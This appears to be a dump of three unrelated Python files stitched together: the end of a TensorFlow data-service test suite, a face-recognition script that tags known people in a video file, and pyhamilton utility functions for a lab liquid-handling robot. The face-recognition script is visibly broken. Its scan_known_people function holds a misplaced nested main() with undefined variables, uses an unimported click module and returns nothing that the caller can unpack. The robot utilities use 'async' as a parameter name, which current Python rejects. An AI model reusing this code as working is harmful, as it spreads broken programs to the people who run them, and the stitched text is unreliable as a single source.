for element in output:
if element in first_order:
second_order[element] = len(second_order)
else:
first_order[element] = len(first_order)
self.assertNotEqual(first_order, second_order)
@combinations.generate(test_base.eager_only_combinations())
def testMultipleEpochs(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 3
ds = _make_distributed_range_dataset(num_elements, dispatcher)
for _ in range(10):
self.assertEqual(list(range(num_elements)), [elem.numpy() for elem in ds])
@combinations.generate(test_base.eager_only_combinations())
def testRepeatedDataset(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
num_repetitions = 5
ds = _make_distributed_range_dataset(num_elements, dispatcher)
ds = ds.repeat(num_repetitions)
self.assertDatasetProduces(
ds, expected_output=num_repetitions * list(range(num_elements)))
@combinations.generate(test_base.eager_only_combinations())
def testConcurrentEpoch(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
num_datasets = 3
iterators = []
results = []
for _ in range(num_datasets):
ds = _make_distributed_range_dataset(num_elements, dispatcher)
iterators.append(iter(ds))
results.append([])
for _ in range(num_elements):
for dataset_ind in range(num_datasets):
result = next(iterators[dataset_ind]).numpy()
results[dataset_ind].append(result)
for result in results:
self.assertEqual(list(range(num_elements)), result)
@combinations.generate(test_base.eager_only_combinations())
def testSharedEpoch(self):
self.skipTest("Not yet implemented")
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
num_iterators = 3
ds = _make_distributed_range_dataset(num_elements, dispatcher)
result = []
iterators = []
for _ in range(num_iterators):
iterators.append(iter(ds))
# Alternate reading between the iterators.
for _ in range(2):
for it in iterators:
result.append(next(it).numpy())
# Drain the rest of the elements.
for it in iterators:
for elem in it:
result.append(elem.numpy())
self.assertCountEqual(list(range(num_elements)), result)
@combinations.generate(test_base.eager_only_combinations())
def testMultiWorker(self):
num_workers = 3
dispatcher, workers = self.start_cluster(num_workers) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
ds = _make_distributed_range_dataset(num_elements, dispatcher)
results = [elem.numpy() for elem in ds]
self.assertCountEqual(num_workers * list(range(num_elements)), results)
@combinations.generate(test_base.eager_only_combinations())
def testStartServersLate(self):
# Test that the data service client performs retries instead of failing when
# the dataset is created before the master and worker are started.
try:
import portpicker # pylint: disable=g-import-not-at-top
dispatcher_port = portpicker.pick_unused_port()
except:
raise self.skipTest("Flakes in portpicker library do not represent "
"TensorFlow errors.")
dispatcher = server_lib.DispatchServer(port=dispatcher_port, start=False)
worker = server_lib.WorkerServer(
port=0,
dispatcher_address=_address_from_target(dispatcher.target),
start=False)
def start_servers():
time.sleep(1)
dispatcher.start()
worker.start()
start_servers_thread = threading.Thread(target=start_servers, daemon=True)
start_servers_thread.start()
num_elements = 10
ds = _make_distributed_range_dataset(num_elements, dispatcher)
results = [elem.numpy() for elem in ds]
self.assertEqual(list(range(num_elements)), results)
start_servers_thread.join()
@combinations.generate(test_base.eager_only_combinations())
def testAddWorkerMidJob(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 100
ds = _make_distributed_range_dataset(num_elements, dispatcher)
iterator = iter(ds)
results = []
# Read halfway through the dataset.
for _ in range(num_elements // 2):
results.append(next(iterator).numpy())
new_worker = self.start_worker_server(dispatcher) # to avoid gcing workers, pylint: disable=unused-variable
# Wait for the new worker to register with the dispatcher.
while dispatcher._num_workers() < 2:
time.sleep(10 / 1000) # 10ms
for elem in iterator:
results.append(elem.numpy())
self.assertCountEqual(2 * list(range(num_elements)), results)
@combinations.generate(
combinations.times(test_base.eager_only_combinations(),
combinations.combine(use_same_port=[True, False]),
_all_cluster_configurations()))
def testRestartWorker(self, use_same_port, work_dir, fault_tolerant_mode):
dispatcher, [worker] = self.start_cluster(
1, work_dir=work_dir, fault_tolerant_mode=fault_tolerant_mode)
num_elements = 100
ds = _make_distributed_range_dataset(num_elements, dispatcher)
iterator = iter(ds)
# Read halfway through the dataset.
midpoint = num_elements // 2
for i in range(midpoint):
self.assertEqual(i, next(iterator).numpy())
# Stop the original worker and start a new one.
worker = self.restart_worker(worker, dispatcher, use_same_port)
# There may have been some elements prefetched from the first worker
# before it was stopped.
while True:
val = next(iterator).numpy()
if val == 0:
break
# The dataset starts over now that we read from the new worker.
# TODO(b/157086991): Iterate until end of sequence when we support
# detecting lost workers.
for i in range(1, num_elements // 2):
val = next(iterator).numpy()
self.assertEqual(i, val)
@combinations.generate(test_base.eager_only_combinations())
def testMaxOutstandingRequests(self):
num_workers = 3
dispatcher, workers = self.start_cluster(num_workers) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
ds = _make_distributed_range_dataset(
num_elements, dispatcher, max_outstanding_requests=1)
self.assertCountEqual(num_workers * list(range(num_elements)),
self.getDatasetOutput(ds))
@combinations.generate(test_base.eager_only_combinations())
def testInsideFunction(self):
num_workers = 3
dispatcher, workers = self.start_cluster(num_workers) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
@def_function.function
def f():
ds = _make_distributed_range_dataset(num_elements, dispatcher)
result = tensor_array_ops.TensorArray(
dtypes.int64, size=num_workers * num_elements, dynamic_size=True)
i = 0
for elem in ds:
result = result.write(i, elem)
i += 1
return result.stack()
result = list(f().numpy())
self.assertCountEqual(num_workers * list(range(num_elements)), result)
@combinations.generate(test_base.eager_only_combinations())
def testSharedJobName(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 100
def make_ds():
return dataset_ops.Dataset.range(num_elements).shuffle(num_elements)
ds1 = _make_distributed_dataset(make_ds(), dispatcher, job_name="job_name")
ds2 = _make_distributed_dataset(make_ds(), dispatcher, job_name="job_name")
iter1 = iter(ds1)
iter2 = iter(ds2)
results = []
for _ in range(num_elements // 5):
results.append(next(iter1).numpy())
results.append(next(iter2).numpy())
for elem in iter1:
results.append(elem.numpy())
for elem in iter2:
results.append(elem.numpy())
self.assertCountEqual(list(range(num_elements)), results)
@combinations.generate(test_base.eager_only_combinations())
def testDifferentJobNames(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
ds = dataset_ops.Dataset.range(num_elements)
ds1 = _make_distributed_dataset(ds, dispatcher, job_name="job_name1")
ds2 = _make_distributed_dataset(ds, dispatcher, job_name="job_name2")
self.assertDatasetProduces(ds1, list(range(num_elements)))
self.assertDatasetProduces(ds2, list(range(num_elements)))
@combinations.generate(test_base.eager_only_combinations())
def testSharedJobNameMultiIteration(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
ds = dataset_ops.Dataset.range(num_elements)
ds1 = _make_distributed_dataset(ds, dispatcher, job_name="job_name")
ds2 = _make_distributed_dataset(ds, dispatcher, job_name="job_name")
# iteration 1
self.assertDatasetProduces(ds1, list(range(num_elements)))
self.assertDatasetProduces(ds2, [])
# iteration 2
self.assertDatasetProduces(ds2, list(range(num_elements)))
self.assertDatasetProduces(ds1, [])
@combinations.generate(test_base.eager_only_combinations())
def testSharedJobNameRepeat(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 100
num_repetitions = 3
ds = dataset_ops.Dataset.range(num_elements)
ds1 = _make_distributed_dataset(ds, dispatcher, job_name="job_name")
ds1 = ds1.repeat(num_repetitions)
ds2 = _make_distributed_dataset(ds, dispatcher, job_name="job_name")
ds2 = ds2.repeat(num_repetitions)
results = []
iter1 = iter(ds1)
iter2 = iter(ds2)
for _ in range((num_elements * num_repetitions) // 5):
results.append(next(iter1).numpy())
for _ in range((num_elements * num_repetitions) // 5):
results.append(next(iter2).numpy())
for elem in iter1:
results.append(elem.numpy())
for elem in iter2:
results.append(elem.numpy())
self.assertCountEqual(num_repetitions * list(range(num_elements)), results)
@combinations.generate(test_base.eager_only_combinations())
def testApplyDeterminismOption(self):
elements = list(range(10))
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
def dataset_fn(delay_ms):
def interleave_fn(x):
ds = dataset_ops.Dataset.from_tensors(x)
if math_ops.equal(x, 0):
ds = ds.apply(testing.sleep(delay_ms * 1000))
else:
ds = ds.apply(testing.sleep(0))
return ds
ds = dataset_ops.Dataset.from_tensor_slices(elements)
ds = ds.interleave(interleave_fn, cycle_length=10, num_parallel_calls=10)
opts = dataset_ops.Options()
opts.experimental_deterministic = False
ds = ds.with_options(opts)
ds = _make_distributed_dataset(ds, dispatcher)
return ds
self.checkDeterminism(
dataset_fn=dataset_fn,
expect_determinism=False,
expected_elements=elements)
def run_stateful(self, external_state_policy):
num_elements = 10
ds = dataset_ops.Dataset.range(num_elements).map(
lambda _: random_ops.random_uniform(()))
options = dataset_ops.Options()
options.experimental_external_state_policy = external_state_policy
ds = ds.with_options(options)
dispatcher, workers = self.start_cluster(3) # to avoid gcing workers, pylint: disable=unused-variable
ds = _make_distributed_dataset(ds, dispatcher)
next(iter(ds))
@combinations.generate(
combinations.times(
test_base.eager_only_combinations(),
combinations.combine(external_state_policy=[
distribute_options.ExternalStatePolicy.IGNORE,
distribute_options.ExternalStatePolicy.WARN
])))
def testStatefulNoError(self, external_state_policy):
self.run_stateful(external_state_policy)
@combinations.generate(test_base.eager_only_combinations())
def testStatefulError(self):
with self.assertRaises(errors.FailedPreconditionError):
self.run_stateful(distribute_options.ExternalStatePolicy.FAIL)
@combinations.generate(test_base.eager_only_combinations())
def testDistributeFromInterleave(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
ds = dataset_ops.Dataset.range(2)
def interleave_fn(_):
dataset = dataset_ops.Dataset.range(2)
_make_distributed_dataset(dataset, dispatcher)
return dataset
ds = ds.interleave(interleave_fn, cycle_length=2)
self.assertDatasetProduces(ds, [0, 0, 1, 1])
@combinations.generate(test_base.eager_only_combinations())
def testDistributeNonStringAddresses(self):
ds = dataset_ops.Dataset.range(10)
with self.assertRaisesRegex(ValueError, "service must be a string"):
ds = ds.apply(
data_service_ops.distribute(
processing_mode="parallel_epochs", service=1))
@combinations.generate(test_base.eager_only_combinations())
def testDistributeEmptyAddress(self):
ds = dataset_ops.Dataset.range(10)
with self.assertRaisesWithLiteralMatch(ValueError,
"service must not be empty"):
ds = ds.apply(
data_service_ops.distribute(
processing_mode="parallel_epochs", service=""))
@combinations.generate(test_base.eager_only_combinations())
def testDistributeInvalidProcessingMode(self):
ds = dataset_ops.Dataset.range(10)
with self.assertRaisesRegex(ValueError,
"invalid is not a valid processing mode"):
ds = ds.apply(
data_service_ops.distribute(
processing_mode="invalid", service="grpc://localhost:5000"))
@combinations.generate(test_base.eager_only_combinations())
def testFromDatasetId(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
ds = dataset_ops.Dataset.range(num_elements)
dataset_id = data_service_ops.register_dataset(dispatcher.target, ds)
from_dataset_id_ds = data_service_ops.from_dataset_id(
"parallel_epochs", dispatcher.target, dataset_id, ds.element_spec)
self.assertDatasetProduces(from_dataset_id_ds, list(range(num_elements)))
@combinations.generate(test_base.eager_only_combinations())
def testFromDatasetIdMultipleComponents(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
ds = dataset_ops.Dataset.range(num_elements)
ds = dataset_ops.Dataset.zip({"a": (ds, ds), "b": ds})
dataset_id = data_service_ops.register_dataset(dispatcher.target, ds)
from_dataset_id_ds = data_service_ops.from_dataset_id(
"parallel_epochs", dispatcher.target, dataset_id, ds.element_spec)
output = self.getDatasetOutput(from_dataset_id_ds)
for i in range(num_elements):
self.assertEqual(i, output[i]["a"][0])
self.assertEqual(i, output[i]["a"][1])
self.assertEqual(i, output[i]["b"])
@combinations.generate(test_base.eager_only_combinations())
def testFromDatasetIdWrongElementSpec(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 10
ds = dataset_ops.Dataset.range(num_elements)
dataset_id = data_service_ops.register_dataset(dispatcher.target, ds)
wrong_spec = tensor_spec.TensorSpec(shape=(), dtype=dtypes.variant)
from_dataset_id_ds = data_service_ops.from_dataset_id(
"parallel_epochs", dispatcher.target, dataset_id, wrong_spec)
with self.assertRaisesRegex(errors.FailedPreconditionError,
"Expected a tensor of type variant"):
self.evaluate(self.getNext(from_dataset_id_ds)())
@combinations.generate(test_base.eager_only_combinations())
def testFromDatasetIdNotRegistered(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
dataset_id = 0
element_spec = tensor_spec.TensorSpec(shape=(), dtype=dtypes.variant)
from_dataset_id_ds = data_service_ops.from_dataset_id(
"parallel_epochs", dispatcher.target, dataset_id, element_spec)
with self.assertRaisesRegex(errors.NotFoundError, "Dataset id"):
self.evaluate(self.getNext(from_dataset_id_ds)())
@combinations.generate(test_base.default_test_combinations())
def testCancellation(self):
self.skipTest("b/162521601")
sleep_microseconds = int(1e6) * 1000
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
# Create a dataset which produces the first element quickly, and the second
# element slowly. Fetching the first element triggers prefetching of the
# second element, which we should be able to cancel.
slow = dataset_ops.Dataset.range(1)
slow = slow.apply(testing.sleep(sleep_microseconds))
ds = dataset_ops.Dataset.range(1).concatenate(slow)
ds = _make_distributed_dataset(ds, dispatcher)
ds = ds.prefetch(1)
get_next = self.getNext(ds, requires_initialization=True)
self.assertEqual(0, self.evaluate(get_next()))
# Without properly implemented cancellation, we will hang here while trying
# to garbage collect the dataset iterator.
@combinations.generate(test_base.eager_only_combinations())
def testRegisterEquivalentDatasets(self):
ds_1 = dataset_ops.Dataset.range(10)
ds_2 = dataset_ops.Dataset.range(10)
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
id_1 = data_service_ops.register_dataset(dispatcher.target, ds_1)
id_2 = data_service_ops.register_dataset(dispatcher.target, ds_2)
self.assertEqual(id_1.numpy(), id_2.numpy())
@combinations.generate(test_base.eager_only_combinations())
def testRegisterDifferentDatasets(self):
ds_1 = dataset_ops.Dataset.range(10)
ds_2 = dataset_ops.Dataset.range(20)
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
id_1 = data_service_ops.register_dataset(dispatcher.target, ds_1)
id_2 = data_service_ops.register_dataset(dispatcher.target, ds_2)
self.assertNotEqual(id_1.numpy(), id_2.numpy())
@combinations.generate(test_base.eager_only_combinations())
def testTwoLevelDistribute(self):
cluster_1_size = 3
dispatcher_1, workers_1 = self.start_cluster( # to avoid gcing workers, pylint: disable=unused-variable
cluster_1_size,
name="cluster_1")
dispatcher_2, workers_2 = self.start_cluster(1, name="cluster_2") # to avoid gcing workers, pylint: disable=unused-variable
num_sizes = 10
size_repeats = 5
strings = ["a" * i for i in range(num_sizes)] * size_repeats
ds = dataset_ops.Dataset.from_tensor_slices(strings)
ds = ds.shuffle(len(strings))
ds = _make_distributed_dataset(ds, dispatcher_1)
# Large enough so that all strings of the same size are windowed together.
window_size = cluster_1_size * size_repeats
batch_size = size_repeats
def key_func(x):
return math_ops.cast(string_ops.string_length_v2(x), dtypes.int64)
ds = ds.apply(
grouping.group_by_window(
key_func=key_func,
reduce_func=lambda _, x: x.batch(batch_size),
window_size=window_size))
ds = _make_distributed_dataset(ds, dispatcher_2)
it = iter(ds)
for _ in range(num_sizes):
element = next(it).numpy()
for _ in range(1, cluster_1_size):
self.assertAllEqual(next(it).numpy(), element)
self.assertEmpty(list(it))
if __name__ == "__main__":
test.main()
|
facerecog_from_videofile.py | import face_recognition
import cv2
import sys
import os
import re
from PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QMessageBox, QInputDialog, QLineEdit, QFileDialog, QProgressBar
from PyQt5.QtCore import QBasicTimer
import sys
from subprocess import call
import threading
# This is a demo of running face recognition on a video file and saving the results to a new video file.
#
# PLEASE NOTE: This example requires OpenCV (the `cv2` library) to be installed only to read from your webcam.
# OpenCV is *not* required to use the face_recognition library. It's only required if you want to run this
# specific demo. If you have trouble installing it, try any of the other demos that don't require it instead.
print('successfully called')
known_people_folder='./database'
def scan_known_people(known_people_folder):
known_names = []
known_face_encodings = []
for file in image_files_in_folder(known_people_folder):
basename = os.path.splitext(os.path.basename(file))[0]
img = face_recognition.load_image_file(file)
encodings = face_recognition.face_encodings(img)
print('in face finding function')
if len(encodings) > 1:
click.echo("WARNING: More than one face found in {}. Only considering the first face.".format(file))
if len(encodings) == 0:
click.echo("WARNING: No faces found in {}. Ignoring file.".format(file))
else:
known_names.append(basename)
known_face_encodings.append(encodings[0])
def main(known_people_folder, image_to_check, cpus, tolerance, show_distance):
print('in second main')
known_face_encodings.append(encodings[0])
return known_names, known_face_encodings
def image_files_in_folder(folder):
print('in image files in folder fucntion')
return [os.path.join(folder, f) for f in os.listdir(folder) if re.match(r'.*\.(jpg|jpeg|png)', f, flags=re.I)]
#getting paths for saving and opening file
ip_file= sys.argv[1]
out_path=sys.argv[2]
ip_tolerence =float(sys.argv[3])
# Open the input movie file
input_movie = cv2.VideoCapture(ip_file)
length = int(input_movie.get(cv2.CAP_PROP_FRAME_COUNT))
def call_func():
call(["python","progress.py",str(length)])
#creating a seperate thread for progress bar
t1 = threading.Thread(target=call_func, args=())
t1.start()
# Create an output movie file (make sure resolution/frame rate matches input video!)
fourcc = cv2.VideoWriter_fourcc(*'XVID')
output_movie = cv2.VideoWriter(out_path+'.avi', fourcc, 29.97, (640, 360))
# Load some sample pictures and learn how to recognize them.
known_names,known_faces = scan_known_people(known_people_folder)
# Initialize some variables
face_locations = []
face_encodings = []
face_names = []
frame_number = 0
while True:
# Grab a single frame of video
ret, frame = input_movie.read()
frame_number += 1
# Quit when the input video file ends
if not ret:
break
# Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)
rgb_frame = frame[:, :, ::-1]
# Find all the faces and face encodings in the current frame of video
face_locations = face_recognition.face_locations(rgb_frame)
face_encodings = face_recognition.face_encodings(rgb_frame, face_locations)
face_names = []
for face_encoding in face_encodings:
# See if the face is a match for the known face(s)
match = face_recognition.compare_faces(known_faces, face_encoding, tolerance=0.50)
# If you had more than 2 faces, you could make this logic a lot prettier
# but I kept it simple for the demo
name = None
for i,result in enumerate(match):
if result:
name = known_names[i]
#elif match[1]:
# name = "Alex Lacamoire"
face_names.append(name)
# Label the results
for (top, right, bottom, left), name in zip(face_locations, face_names):
if not name:
continue
# Draw a box around the face
cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)
# Draw a label with a name below the face
cv2.rectangle(frame, (left, bottom - 25), (right, bottom), (0, 0, 255), cv2.FILLED)
font = cv2.FONT_HERSHEY_DUPLEX
cv2.putText(frame, name, (left + 6, bottom - 6), font, 0.5, (255, 255, 255), 1)
# Write the resulting image to the output video file
print("Writing frame {} / {}".format(frame_number, length))
#step=step+1
#frame_msg="writing frame " + str(frame_number) + "/" str(length)
output_movie.write(frame)
# All done!
input_movie.release()
cv2.destroyAllWindows()
|
pace_util.py | #!python3
import sys, os, time, logging, importlib
from threading import Thread
this_file_dir = os.path.dirname(__file__)
methods_dir = os.path.abspath(this_file_dir)
dropbox_dir = os.path.dirname(methods_dir)
user_dir = os.path.dirname(dropbox_dir)
global_log_dir = os.path.join(dropbox_dir, 'Monitoring', 'log')
LAYFILE = os.path.join(this_file_dir, 'assets', 'deck.lay')
import pyhamilton
from pyhamilton import (HamiltonInterface, LayoutManager, ResourceType, Plate24, Plate96, Tip96,
INITIALIZE, PICKUP, EJECT, ASPIRATE, DISPENSE, ISWAP_GET, ISWAP_PLACE, HEPA,
WASH96_EMPTY, PICKUP96, EJECT96, ASPIRATE96, DISPENSE96,
oemerr, PositionError)
def resource_list_with_prefix(layout_manager, prefix, res_class, num_ress, order_key=None, reverse=False):
def name_from_line(line):
field = LayoutManager.layline_objid(line)
if field:
return field
return LayoutManager.layline_first_field(line)
layline_test = lambda line: LayoutManager.field_starts_with(name_from_line(line), prefix)
res_type = ResourceType(res_class, layline_test, name_from_line)
res_list = [layout_manager.assign_unused_resource(res_type, order_key=order_key, reverse=reverse) for _ in range(num_ress)]
return res_list
def labware_pos_str(labware, idx):
return labware.layout_name() + ', ' + labware.position_id(idx)
def compound_pos_str(pos_tuples):
present_pos_tups = [pt for pt in pos_tuples if pt is not None]
return ';'.join((labware_pos_str(labware, idx) for labware, idx in present_pos_tups))
def compound_pos_str_96(labware96):
return ';'.join((labware_pos_str(labware96, idx) for idx in range(96)))
def initialize(ham, async=False):
logging.info('initialize: ' + ('a' if async else '') + 'synchronously initialize the robot')
cmd = ham.send_command(INITIALIZE)
if not async:
ham.wait_on_response(cmd, raise_first_exception=True)
return cmd
def hepa_on(ham, speed=15, async=False, **more_options):
logging.info('hepa_on: turn on HEPA filter at ' + str(speed) + '% capacity' +
('' if not more_options else ' with extra options ' + str(more_options)))
cmd = ham.send_command(HEPA, fanSpeed=speed, **more_options)
if not async:
ham.wait_on_response(cmd, raise_first_exception=True)
return cmd
def wash_empty_refill(ham, async=False, **more_options):
logging.info('wash_empty_refill: empty the washer' +
('' if not more_options else ' with extra options ' + str(more_options)))
cmd = ham.send_command(WASH96_EMPTY, **more_options)
if not async:
ham.wait_on_response(cmd, raise_first_exception=True)
return cmd
def move_plate(ham, source_plate, target_plate, try_inversions=None):
logging.info('move_plate: Moving plate ' + source_plate.layout_name() + ' to ' + target_plate.layout_name())
src_pos = labware_pos_str(source_plate, 0)
trgt_pos = labware_pos_str(target_plate, 0)
if try_inversions is None:
try_inversions = (0, 1)
for inv in try_inversions:
cid = ham.send_command(ISWAP_GET, plateLabwarePositions=src_pos, gripHeight=6, inverseGrip=inv)
try:
ham.wait_on_response(cid, raise_first_exception=True, timeout=120)
break
except PositionError:
pass
else:
raise IOError
cid = ham.send_command(ISWAP_PLACE, plateLabwarePositions=trgt_pos)
try:
ham.wait_on_response(cid, raise_first_exception=True, timeout=120)
except PositionError:
raise IOError
def lagoon_pos_for_lagoon(lagoon_idx):
return lagoon_plate, lagoon_idx
def clean_tip_pos_for_lagoon(lagoon_idx):
return clean_tip_box, lagoon_idx
def dirty_tip_pos_for_lagoon(lagoon_idx):
return dirty_tip_boxes[lagoon_idx//96], lagoon_idx%96
def offset_equal_spaced_idxs(start_idx, increment):
# a generator that will be used for reader positions
idx = start_idx
while True:
yield idx
idx += increment
def read_plate(ham_int, reader_int, reader_site, plate, protocol_names, plate_id=None, async_task=None, plate_destination=None):
logging.info('read_plate: Running plate protocols ' + ', '.join(protocol_names) +
' on plate ' + plate.layout_name() + ('' if plate_id is None else ' with id ' + plate_id))
reader_int.plate_out(block=True)
move_plate(ham_int, plate, reader_site)
if async_task:
t = run_async(async_task)
plate_datas = reader_int.run_protocols(protocol_names, plate_id_1=plate_id)
reader_int.plate_out(block=True)
if async_task:
t.join()
if plate_destination is None:
plate_destination = plate
move_plate(ham_int, reader_site, plate_destination)
return plate_datas
def channel_var(pos_tuples):
ch_var = ['0']*16
for i, pos_tup in enumerate(pos_tuples):
if pos_tup is not None:
ch_var[i] = '1'
return ''.join(ch_var)
def tip_pick_up(ham_int, pos_tuples, **more_options):
logging.info('tip_pick_up: Pick up tips at ' + '; '.join((labware_pos_str(*pt) if pt else '(skip)' for pt in pos_tuples)) +
('' if not more_options else ' with extra options ' + str(more_options)))
num_channels = len(pos_tuples)
if num_channels > 8:
raise ValueError('Can only pick up 8 tips at a time')
ch_patt = channel_var(pos_tuples)
labware_poss = compound_pos_str(pos_tuples)
ham_int.wait_on_response(ham_int.send_command(PICKUP,
labwarePositions=labware_poss,
channelVariable=ch_patt,
**more_options), raise_first_exception=True)
def tip_eject(ham_int, pos_tuples=None, **more_options):
if pos_tuples is None:
logging.info('tip_eject: Eject tips to default waste' + ('' if not more_options else ' with extra options ' + str(more_options)))
more_options['useDefaultWaste'] = 1
dummy = Tip96('')
pos_tuples = [(dummy, 0)] * 8
else:
logging.info('tip_eject: Eject tips to ' + '; '.join((labware_pos_str(*pt) if pt else '(skip)' for pt in pos_tuples)) +
('' if not more_options else ' with extra options ' + str(more_options)))
num_channels = len(pos_tuples)
if num_channels > 8:
raise ValueError('Can only eject up to 8 tips')
ch_patt = channel_var(pos_tuples)
labware_poss = compound_pos_str(pos_tuples)
ham_int.wait_on_response(ham_int.send_command(EJECT,
labwarePositions=labware_poss,
channelVariable=ch_patt,
**more_options), raise_first_exception=True)
default_liq_class = 'HighVolumeFilter_Water_DispenseJet_Empty_with_transport_vol'
def assert_parallel_nones(list1, list2):
if not (len(list1) == len(list2) and all([(i1 is None) == (i2 is None) for i1, i2 in zip(list1, list2)])):
raise ValueError('Lists must have parallel None entries')
def aspirate(ham_int, pos_tuples, vols, **more_options):
assert_parallel_nones(pos_tuples, vols)
logging.info('aspirate: Aspirate volumes ' + str(vols) + ' from positions [' +
'; '.join((labware_pos_str(*pt) if pt else '(skip)' for pt in pos_tuples)) +
(']' if not more_options else '] with extra options ' + str(more_options)))
if len(pos_tuples) > 8:
raise ValueError('Can only aspirate with 8 channels at a time')
if 'liquidClass' not in more_options:
more_options.update({'liquidClass':default_liq_class})
ham_int.wait_on_response(ham_int.send_command(ASPIRATE,
channelVariable=channel_var(pos_tuples),
labwarePositions=compound_pos_str(pos_tuples),
volumes=[v for v in vols if v is not None],
**more_options), raise_first_exception=True)
def dispense(ham_int, pos_tuples, vols, **more_options):
assert_parallel_nones(pos_tuples, vols)
logging.info('dispense: Dispense volumes ' + str(vols) + ' into positions [' +
'; '.join((labware_pos_str(*pt) if pt else '(skip)' for pt in pos_tuples)) +
(']' if not more_options else '] with extra options ' + str(more_options)))
if len(pos_tuples) > 8:
raise ValueError('Can only aspirate with 8 channels at a time')
if 'liquidClass' not in more_options:
more_options.update({'liquidClass':default_liq_class})
ham_int.wait_on_response(ham_int.send_command(DISPENSE,
channelVariable=channel_var(pos_tuples),
labwarePositions=compound_pos_str(pos_tuples),
volumes=[v for v in vols if v is not None],
**more_options), raise_first_exception=True)
def tip_pick_up_96(ham_int, tip96, **more_options):
logging.info('tip_pick_up_96: Pick up tips at ' + tip96.layout_name() +
('' if not more_options else ' with extra options ' + str(more_options)))
labware_poss = compound_pos_str_96(tip96)
ham_int.wait_on_response(ham_int.send_command(PICKUP96,
labwarePositions=labware_poss,
**more_options), raise_first_exception=True)
def tip_eject_96(ham_int, tip96=None, **more_options):
logging.info('tip_eject_96: Eject tips to ' + (tip96.layout_name() if tip96 else 'default waste') +
('' if not more_options else ' with extra options ' + str(more_options)))
if tip96 is None:
labware_poss = ''
more_options.update({'tipEjectToKnownPosition':2}) # 2 is default waste
else:
labware_poss = compound_pos_str_96(tip96)
ham_int.wait_on_response(ham_int.send_command(EJECT96,
labwarePositions=labware_poss,
**more_options), raise_first_exception=True)
def aspirate_96(ham_int, plate96, vol, **more_options):
logging.info('aspirate_96: Aspirate volume ' + str(vol) + ' from ' + plate96.layout_name() +
('' if not more_options else ' with extra options ' + str(more_options)))
if 'liquidClass' not in more_options:
more_options.update({'liquidClass':default_liq_class})
ham_int.wait_on_response(ham_int.send_command(ASPIRATE96,
labwarePositions=compound_pos_str_96(plate96),
aspirateVolume=vol,
**more_options), raise_first_exception=True)
def dispense_96(ham_int, plate96, vol, **more_options):
logging.info('dispense_96: Dispense volume ' + str(vol) + ' into ' + plate96.layout_name() +
('' if not more_options else ' with extra options ' + str(more_options)))
if 'liquidClass' not in more_options:
more_options.update({'liquidClass':default_liq_class})
ham_int.wait_on_response(ham_int.send_command(DISPENSE96,
labwarePositions=compound_pos_str_96(plate96),
dispenseVolume=vol,
**more_options), raise_first_exception=True)
def add_robot_level_log(logger_name=None):
logger = logging.getLogger(logger_name) # root logger if None
logger.setLevel(logging.DEBUG)
with open(os.path.join(user_dir, '.roboid')) as roboid_f:
robot_id = roboid_f.read()
robot_log_dir = os.path.join(global_log_dir, robot_id, robot_id + '.log')
hdlr = logging.FileHandler(robot_log_dir)
formatter = logging.Formatter('[%(asctime)s] %(name)s %(levelname)s %(message)s')
hdlr.setFormatter(formatter)
logger.addHandler(hdlr)
class StderrLogger:
def __init__(self, level):
self.level = level
self.stderr = sys.stderr
def write(self, message):
self.stderr.write(message)
if message.strip():
self.level(message.replace('\n', ''))
def add_stderr_logging(logger_name=None):
logger = logging.getLogger(logger_name) # root logger if None
sys.stderr = StderrLogger(logger.error)
fileflag_dir = os.path.abspath('.')
while fileflag_dir and os.path.basename(fileflag_dir).lower() != 'roboplaque': # different from std-96-pace
fileflag_dir = os.path.dirname(fileflag_dir)
fileflag_dir = os.path.join(fileflag_dir, 'method_local', 'flags')
def set_fileflag(flag_name):
assert_fileflag_harmless(flag_name)
flag_loc = os.path.join(fileflag_dir, flag_name)
if not os.path.isdir(fileflag_dir):
if os.path.exists(fileflag_dir):
raise IOError('method-local non-directory item named "flags" already exists')
os.mkdir(fileflag_dir)
if not fileflag(flag_name):
with open(flag_loc, 'w+') as f:
f.write('')
def clear_fileflag(flag_name):
assert_fileflag_harmless(flag_name)
flag_loc = os.path.join(fileflag_dir, flag_name)
try:
os.remove(flag_loc)
except FileNotFoundError:
pass
def fileflag(flag_name):
flag_loc = os.path.join(fileflag_dir, flag_name)
return os.path.isfile(flag_loc)
def assert_fileflag_harmless(flag_name):
if not fileflag(flag_name):
return
flag_loc = os.path.join(fileflag_dir, flag_name)
if os.path.getsize(flag_loc) != 0:
raise IOError('Fileflag refers to a non-empty file!')
def run_async(funcs):
def go():
try:
iter(funcs)
except TypeError:
funcs()
return
for func in funcs:
func()
func_thread = Thread(target=go, daemon=True)
func_thread.start()
